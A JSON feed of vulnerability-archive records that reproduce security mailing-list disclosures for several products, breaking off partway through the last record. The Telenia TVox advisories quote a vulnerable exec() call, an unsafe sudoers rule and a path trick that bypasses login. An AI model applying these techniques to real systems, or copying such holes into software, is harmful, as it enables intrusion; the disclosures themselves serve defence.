Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Jitterbit Agent",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded \ncredentials leading to OS command execution (9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in\nJitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6).\n\nType: Unauthenticated SOAP with hard-coded credentials leading to OS command execution (CWE-306)\nCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: unauthenticated OS command execution inside the integration container via hard-coded database credentials\nAuthentication: unauthenticated\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/jitterbit-agent-unauth-soap-copy-to-program-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T18:02:11Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/35"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/35"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/jitterbit-agent-unauth-soap-copy-to-program-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/35"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0309",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/35",
            "automated": true,
            "contentSha256": "33d0de9c2f25254eea925e1d9317febe55c91435d8e4a9bf8aa4fa08bb8d8c15",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/35",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-08T06:21:01Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T18:02:11Z",
    "dateUpdated": "2026-09-08T18:02:11Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0309"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Accurate Online Private",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading \nto JNDI remote class loading (9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in\nAccurate Online Private Cloud on-prem (current).\n\nType: Unauthenticated Hessian deserialization leading to JNDI remote class loading (CWE-502)\nCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: unauthenticated remote code execution as the Administrator account running the application server\nAuthentication: unauthenticated\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/accurate-online-private-cloud-unauth-hessian-jndi-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-502",
              "description": "CWE-502",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T18:02:11Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/34"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/34"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/accurate-online-private-cloud-unauth-hessian-jndi-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/34"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0308",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/34",
            "automated": true,
            "contentSha256": "ac8d4c38b0172591e6a45ab834fcc7aee4cda52ac6edfd0d9344765a7746e9c1",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/34",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-08T06:20:46Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T18:02:11Z",
    "dateUpdated": "2026-09-08T18:02:11Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0308"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DBxtra .NET",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "TO: fulldisclosure () seclists org\nSUBJECT: [0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)\nFROM: disclosure () 0day-rubbish com\n----BODY----\n0day Rubbish Research Team is publicly disclosing a vulnerability in\nDBxtra .NET 13.1.1.0.\n\nType: Unauthenticated SOAP API to xp_cmdshell code execution (CWE-306)\nCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: unauthenticated remote code execution as the SQL Server service account on the BI host (web tier runs as \nLocalSystem)\nAuthentication: unauthenticated\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/dbxtra-unauth-soap-xp-cmdshell-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T18:02:11Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/33"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/33"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/dbxtra-unauth-soap-xp-cmdshell-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/33"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0307",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/33",
            "automated": true,
            "contentSha256": "7c0cf9ae1fab9640532ca8761c103e4d3cbe655eff60ae529fcf815642c61876",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/33",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-08T06:20:33Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T18:02:11Z",
    "dateUpdated": "2026-09-08T18:02:11Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0307"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Telenia Software TVox",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (nice) Local Privilege Escalation\nVulnerability\n-------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerability is caused by an insecure sudoers configuration in the\n/etc/sudoers.d/telenia file:\n\n\napache ALL=NOPASSWD: /opt/telenia/cloud/bin/check-instance-id\n\napache ALL=NOPASSWD: /usr/sbin/postsuper\n\napache ALL=NOPASSWD: /bin/nice\napache ALL=NOPASSWD: /usr/bin/hostnamectl\napache ALL=NOPASSWD: /sbin/halt\napache ALL=NOPASSWD: /sbin/reboot\n\n\nThe apache user is allowed to execute the \"nice\" command with root\nprivileges without requiring a password. Since \"nice\" can be abused to\ninvoke arbitrary commands, this misconfiguration enables an attacker with\naccess to the apache account to execute arbitrary commands as the root\nuser, resulting in a Local Privilege Escalation.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[27/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64829 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-16\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T11:40:48Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/32"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/32"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-16"
        },
        {
          "url": "https://karmainsecurity.com/pocs/tvox_root_rce.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.teleniasoftware.com"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/32"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-16] Telenia Software TVox \u003c= 26.5.3 (nice) Local Privilege Escalation Vulnerability",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-64829",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0297",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/32",
            "automated": true,
            "contentSha256": "6fe3bdfe6e52b71acd1d426aa72052689d91f1538bde6a1175e9fab3479a1984",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/32",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-03T07:30:11Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0297"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T11:40:48Z",
    "dateUpdated": "2026-09-08T11:40:48Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0297"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Telenia Software TVox",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-------------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (action_audio.php) OS Command Injection\nVulnerability\n-------------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located within the\n/opt/telenia/tvox/php/siti/t-vox/manager/html/action_audio.php script:\n\n180.    case \"checkProcess\":\n181.        $pid = @trim($_REQUEST[\"pid\"]);\n182.        $logFile = @trim($_REQUEST[\"logFile\"]);\n183.        if ($pid != \"\")\n184.            exec(\u0027ps -p \u0027 . $_REQUEST[\"pid\"], $output);\n\nUser input passed through the \"pid\" request parameter (when the \"action\"\nrequest parameter is set to \"checkProcess\") is not properly sanitized\nbefore being used to execute OS commands via an exec() call at line 184.\nThis can be exploited to inject and execute arbitrary OS commands with the\nprivileges of the \"apache\" user on the web server.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[26/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64828 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-15\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T11:40:48Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/31"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/31"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-15"
        },
        {
          "url": "https://karmainsecurity.com/pocs/tvox_root_rce.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.teleniasoftware.com"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/31"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-15] Telenia Software TVox \u003c= 26.5.3 (action_audio.php) OS Command Injection Vulnerability",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-64828",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0296",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/31",
            "automated": true,
            "contentSha256": "750a1c9853cbaf029db7a8361d781a98c8c41779467bc804c2ba737e24db81ff",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/31",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-03T07:29:12Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0296"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T11:40:48Z",
    "dateUpdated": "2026-09-08T11:40:48Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0296"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Telenia Software TVox",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "---------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (set_env.php) Authentication Bypass\nVulnerability\n---------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located within the\n/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,\ninto the redirectToLoginAdminIRequestHaveAccessToken() function:\n\n293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {\n294.    $current_page = str_replace(\"/\", \"\", strrchr($_SERVER[\u0027PHP_SELF\u0027],\n\"/\"));\n295.    if ($current_page != \"login_admin.php\") {\n296.        $request_uri = $_SERVER[\"REQUEST_URI\"];\n297.        $accessToken = @trim($force ? $_REQUEST[\"access_token\"] :\n$_GET[\"access_token\"]);\n298.\n299.        if ($accessToken !== \"\" \u0026\u0026 (!isset($_SESSION[\"wso2auth\"]) || (\nisset($_SESSION[\"wso2auth\"]) \u0026\u0026 $_SESSION[\"wso2auth\"]-\u003eaccessToken !==\ntrim($accessToken)) )) {\n300.            $force = true;\n301.            if (@trim($_GET[\"access_token\"]) != \"\") {\n302.                $parsedUrl = parse_url($request_uri);\n303.                $parsedUrl[\"query\"] =\nquery_string_exclude(array(\u0027access_token\u0027), $_GET);\n304.                if ($parsedUrl[\"query\"] != \"\") {\n305.                    $request_uri = $parsedUrl[\"path\"] . \"?\" .\n$parsedUrl[\"query\"];\n306.                }\n307.            }\n308.        }\n309.\n310.        if ($force) {\n311.            $_SESSION[\"request_uri\"] = $request_uri;\n312.            unset($_REQUEST[\"access_token\"]);\n313.            $_SESSION[\u0027requestSave\u0027] = $_REQUEST;\n314.            header(\"Location: /tvox/manager/html/login_admin.php\" . (\n$accessToken === \"\" ? \"\" : \"?access_token=\" . $accessToken ));\n315.            exit;\n316.        }\n317.    }\n318. }\n\nThis function is invoked to verify whether the user is already\nauthenticated. If the user is not authenticated, execution reaches line\n314, where the user is redirected to the login page, and it terminates at\nline 315 via an exit statement. The issue is that this authentication check\nis only enforced when the value of the $current_page variable differs from\n\"login_admin.php\" (line 295). Since $current_page is populated using the\nvalue of $_SERVER[\u0027PHP_SELF\u0027] (at line 294), an attacker can bypass the\nauthentication check by simply appending the string \"/login_admin.php\" to\nthe path of the target PHP script. As a result, the application incorrectly\ntreats the request as if it were targeting the login page, allowing\nunauthenticated access to all PHP scripts exposed under the\n/tvox/manager/html/ path.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[26/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64827 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-14\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T11:40:48Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/30"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/30"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-14"
        },
        {
          "url": "https://karmainsecurity.com/pocs/tvox_root_rce.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.teleniasoftware.com"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/30"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-14] Telenia Software TVox \u003c= 26.5.3 (set_env.php) Authentication Bypass Vulnerability",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-64827",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0295",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/30",
            "automated": true,
            "contentSha256": "db796cc3baba52f714319d385500cac70859e39161a1b0031005a3f55d87eb2a",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/30",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-03T07:28:02Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0295"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T11:40:48Z",
    "dateUpdated": "2026-09-08T11:40:48Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0295"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Skullcandy Dime 3",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jacob Nowak"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hello,\n\nI am submitting the following security disclosure for publication on the\nFull Disclosure mailing list.\n\nTitle: Pairing Without Consent: CVE-2025-20701 Behavior on Skullcandy Dime 3\n\nAffected product:\nSkullcandy Dime 3 wireless earbuds\n\nVulnerability:\nUnauthorized Bluetooth Classic pairing and persistent bond creation\n\nDescription:\n\nTesting demonstrated that a previously unknown Linux computer could pair\nwith a Skullcandy Dime 3 earbud set and store a persistent Bluetooth bond\nwithout the earbuds being intentionally placed into pairing mode.\n\nNo confirmation or physical interaction with the earbuds was required\nduring the pairing process.\n\nThe observed behavior is consistent with CVE-2025-20701.\n\nSecurity impact:\n\nA nearby attacker within Bluetooth range may be able to establish an\nunauthorized trusted relationship with the earbuds. The stored bond could\nallow subsequent connections from the unauthorized device and potentially\ninterfere with the legitimate user\u2019s Bluetooth connection.\n\nEvidence:\n\nThe public research repository includes:\n\n   - A detailed technical report\n   - Reproduction information\n   - Screenshots\n   - A sanitized BTSnoop capture\n   - A packet-level description of the pairing sequence\n\nRepository:\n\nhttps://github.com/x0jac0b0x/skullcandy-dime3-cve-2025-20701\n\nThe published BTSnoop capture preserves the pairing and connection\nsequence. The 16-byte BR/EDR link key was replaced with zero bytes before\npublication. The original, unmodified capture has been retained privately.\n\nThis research was conducted on hardware I own and is being published for\ndefensive research, independent verification, and vendor awareness.\n\nRegards,\n\nJacob Nowak\nIndependent Security Researcher\nGitHub: https://github.com/x0jac0b0x\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T11:24:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/7"
        },
        {
          "tags": [
            "technical-description"
          ],
